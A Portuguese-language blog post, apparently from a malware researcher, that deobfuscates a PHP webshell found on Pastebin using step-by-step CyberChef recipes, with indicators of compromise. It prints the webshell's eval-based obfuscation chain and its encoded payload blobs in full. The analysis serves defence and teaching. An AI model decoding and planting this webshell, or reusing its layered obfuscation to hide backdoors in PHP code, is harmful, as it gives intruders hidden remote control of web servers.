Defusing php webshell with CyberChef

Image for post
Image for post

Atualizando meu parser para o pastebin, encontrei uma webshell em php bem interessante e resolvi decodar por curiosidade. Para esse tipo de análise sempre recomendo o uso do Cyberchef, basicamente um canivete suiço para coisas como criptografia, encoding, compressão e análise de dados, e essa será a única coisa que você irá necesssitar para reproduzir esse artigo e aplicar em outras ofuscações, encodes e análise de malwares relacionados.

CyberChef https://github.com/gchq/CyberChef

Image for post
Image for post

IOC’s:

  • pastebin[.]com/raw/jQRYHeJK
  • Source: github[.]com/eviltwin-dev/auto-visitor
https://gist.github.com/teixeira0xfffff/d18a7363771b0bdaead0e5889cf85451

Olhando o código, ja temos um simples insight para inicar o processo de decoding do web shell, basta seguirmos o valor atribuido para o eval e seguirmos o mesmo fluxo no Cyberchef:

eval(str_rot13(gzinflate(str_rot13(base64_decode(…
Image for post
Image for post

Criei o recipe abaixo com Cyberchef para decodar a primeira parte da web shell, com enfâse numa simplex regex para extrair o valor correto à ser parseado, isso irá percorrer o código e extrair os valores entre as aspas simples: “(?<=’)(.*?)(?=’)”

[
{ “op”: “Regular expression”,
“args”: [“User defined”, “(?<=’)(.*?)(?=’)”, true, true, false, false, false, false, “List matches”] },
{ “op”: “From Base64”,
“args”: [“A-Za-z0–9+/=”, true] },
{ “op”: “ROT13”,
“args”: [true, true, 13] },
{ “op”: “Raw Inflate”,
“args”: [0, 0, “Adaptive”, false, false] },
{ “op”: “ROT13”,
“args”: [true, true, 13] }
]
Image for post
Image for post

Com o resultado seguinte, temos duas variáveis com fluxos diferentes de encoding, dessa forma, iremos quebrar os resultados para facilitar as coisas, começaremos então pela variável $Fadly:

$Fadly = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNEdhbnMlMjklMjklMjklMjklMjklMjklMjklMjklM0I=";

Como está visível no código, basta seguirmos o seguinte fluxo para tornar legível: eval(htmlspecialchars_decode(urldecode(base64_decode($Fadly)))). Criei o seguinte recipe para esse blob:

[
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "URL Decode",
"args": [] },
{ "op": "From HTML Entity",
"args": [] }
]
Image for post
Image for post

Por fim, temos o seguinte valor: eval(“?>”.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($Gans))))))));. Informação suficiente para decodar o valor da próxima variável que é $Gans.

Image for post
Image for post
$Gans = "==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";

Sabemos que ele usa gzinflate, que basicamente descomprime uma string usando DEFLATE, reverteu o valor da variável, compactou novamente e encodou com base64:

gzinflate ( string $data [, int $length ] ) : string
// https://www.php.net/manual/pt_BR/function.gzinflate.php

Para essa última variável, criei o seguinte recipe no Cyberchef:

[
{ "op": "Reverse",
"args": ["Character"] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Zlib Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Zlib Inflate",
"args": [0, 0, "Adaptive", false, false] }
]

“Bomb has been defused”

Image for post
Image for post
Image for post
Image for post
Image for post
Image for post
Image for post
Image for post

E por fim temos o código legível e decodado pronto para uma análise mais eficiente:

Versão decodada: https://gist.github.com/teixeira0xfffff/b4e813c9abfc8ae54ee73e3d31b76091

Apenas para usufruir mais do uso de regex e o do Cyberchef, você pode desofuscar todo o conteúdo da webshell apenas em um repice, veja meu exemplo abaixo, com a seguinte regex (?<=\$Fadly.*?”)(.*?)(?=\”) e o uso da função de merge:

[
{ "op": "Regular expression",
"args": ["User defined", "(?<=')(.*?)(?=')", true, true, false, false, false, false, "List matches"] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "ROT13",
"args": [true, true, 13] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "ROT13",
"args": [true, true, 13] },
{ "op": "Subsection",
"args": ["(?<=\\$Fadly.*?\")(.*?)(?=\\\")", true, true, false] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "URL Decode",
"args": [] },
{ "op": "Merge",
"args": [] },
{ "op": "Comment",
"args": ["Usando merge e subsection para resolver a ofuscação em apenas um recipe"] },
{ "op": "Subsection",
"args": ["(?<=\\$Gans.*?\")(.*?)(?=\\\")", true, true, false] },
{ "op": "Reverse",
"args": ["Character"] },
{ "op": "From Base64",
"args": ["A-Za-z0-9+/=", true] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Raw Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Zlib Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "Zlib Inflate",
"args": [0, 0, "Adaptive", false, false] },
{ "op": "From HTML Entity",
"args": [] }
]
Image for post
Image for post

Buscando um pouco mais, podemos identificar facilmente o repositório onde está outras webshell’s relacionadas, entretanto por algum motivo esse projeto foi deletado e renomeado para “eviltwin-autovisitor”.

Image for post
Image for post
https://github.com/eviltwin-dev

Por hoje é só pessoal, em brevo faço outros posts sobre o uso do Cyberchef para desofuscar Powershell e shellcode ;)

reverse engineering and malware tales\\ Linkedin@isdebuggerpresent\\

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store